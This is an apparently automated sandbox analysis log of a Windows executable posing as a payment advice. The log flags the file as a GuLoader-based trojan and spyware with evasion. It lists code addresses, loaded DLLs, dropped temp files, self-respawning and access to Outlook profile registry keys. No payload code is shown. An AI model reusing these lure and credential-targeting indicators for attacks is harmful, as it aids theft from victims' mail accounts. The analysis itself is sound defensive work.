Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A801620	4_2_3A801620
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800038	4_2_3A800038
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A80EE3B	4_2_3A80EE3B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A806440	4_2_3A806440
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A803240	4_2_3A803240
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800040	4_2_3A800040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A80EE48	4_2_3A80EE48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A804E60	4_2_3A804E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A801C60	4_2_3A801C60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A805180	4_2_3A805180
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A801F80	4_2_3A801F80
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A806DA0	4_2_3A806DA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A803BA0	4_2_3A803BA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8009A0	4_2_3A8009A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8057C0	4_2_3A8057C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8025C0	4_2_3A8025C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800FD0	4_2_3A800FD0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8041D0	4_2_3A8041D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8041E0	4_2_3A8041E0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800FE0	4_2_3A800FE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A804500	4_2_3A804500
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A801300	4_2_3A801300
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A806120	4_2_3A806120
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A802F20	4_2_3A802F20
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A804B40	4_2_3A804B40
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A801940	4_2_3A801940
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800350	4_2_3A800350
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A806760	4_2_3A806760
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A803560	4_2_3A803560
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A800360	4_2_3A800360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811CF0	4_2_3A811CF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A818470	4_2_3A818470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81FB30	4_2_3A81FB30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A810E8B	4_2_3A810E8B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81A090	4_2_3A81A090
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81D290	4_2_3A81D290
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A810E98	4_2_3A810E98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81BCB0	4_2_3A81BCB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A818AB0	4_2_3A818AB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81EEB0	4_2_3A81EEB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81D8D0	4_2_3A81D8D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81A6D0	4_2_3A81A6D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811CE0	4_2_3A811CE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81F4F0	4_2_3A81F4F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8190F0	4_2_3A8190F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81C2F0	4_2_3A81C2F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8104F9	4_2_3A8104F9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A810007	4_2_3A810007
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81C610	4_2_3A81C610
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A819410	4_2_3A819410
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81F810	4_2_3A81F810
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811817	4_2_3A811817
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811828	4_2_3A811828
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81B030	4_2_3A81B030
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81E230	4_2_3A81E230
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81CC41	4_2_3A81CC41
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A810040	4_2_3A810040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A819A50	4_2_3A819A50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81CC50	4_2_3A81CC50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81E870	4_2_3A81E870
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81B670	4_2_3A81B670
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81B990	4_2_3A81B990
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A818790	4_2_3A818790
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81EB90	4_2_3A81EB90
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81D5B0	4_2_3A81D5B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81A3B0	4_2_3A81A3B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8109BF	4_2_3A8109BF
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81F1D0	4_2_3A81F1D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8109D0	4_2_3A8109D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A818DD0	4_2_3A818DD0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81BFD0	4_2_3A81BFD0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A8135E8	4_2_3A8135E8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81DBF0	4_2_3A81DBF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81A9F0	4_2_3A81A9F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A810508	4_2_3A810508
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81AD10	4_2_3A81AD10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81DF10	4_2_3A81DF10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81C930	4_2_3A81C930
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A819730	4_2_3A819730
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811351	4_2_3A811351
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81E550	4_2_3A81E550
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81B350	4_2_3A81B350
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A811360	4_2_3A811360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A813360	4_2_3A813360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A819D70	4_2_3A819D70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A81CF70	4_2_3A81CF70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A991B50	4_2_3A991B50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A993008	4_2_3A993008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A9936F0	4_2_3A9936F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A991470	4_2_3A991470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A992920	4_2_3A992920
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990D88	4_2_3A990D88
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A992238	4_2_3A992238
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A9947B8	4_2_3A9947B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A991B3F	4_2_3A991B3F
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A9936E1	4_2_3A9936E1
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A991460	4_2_3A991460
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990A10	4_2_3A990A10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A9908DE	4_2_3A9908DE
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A992911	4_2_3A992911
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990960	4_2_3A990960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A992FFB	4_2_3A992FFB
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990D7B	4_2_3A990D7B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A992229	4_2_3A992229
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990006	4_2_3A990006
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A990040	4_2_3A990040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3B001B14	4_2_3B001B14
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3B004958	4_2_3B004958
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3B00B450	4_2_3B00B450

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: String function: 00402B3A appears 47 times

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: invalid certificate

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametipning husnummers.exe< vs PayeeAdvice_HK54912_R0038704_37504.exe
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3328690059.0000000006F99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PayeeAdvice_HK54912_R0038704_37504.exe
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3348987225.0000000037377000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PayeeAdvice_HK54912_R0038704_37504.exe
Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametipning husnummers.exe< vs PayeeAdvice_HK54912_R0038704_37504.exe
Source: PayeeAdvice_HK54912_R0038704_37504.exe	Binary or memory string: OriginalFilenametipning husnummers.exe< vs PayeeAdvice_HK54912_R0038704_37504.exe

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@6/4

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045CA

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\foreslaaende

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\Temp\nsg229C.tmp

Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File read: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 5620, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.2666489951.000000000839D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_10002DA0 push eax; ret		0_2_10002DCE
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00169C30 push esp; retf 0018h		4_2_00169D55

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
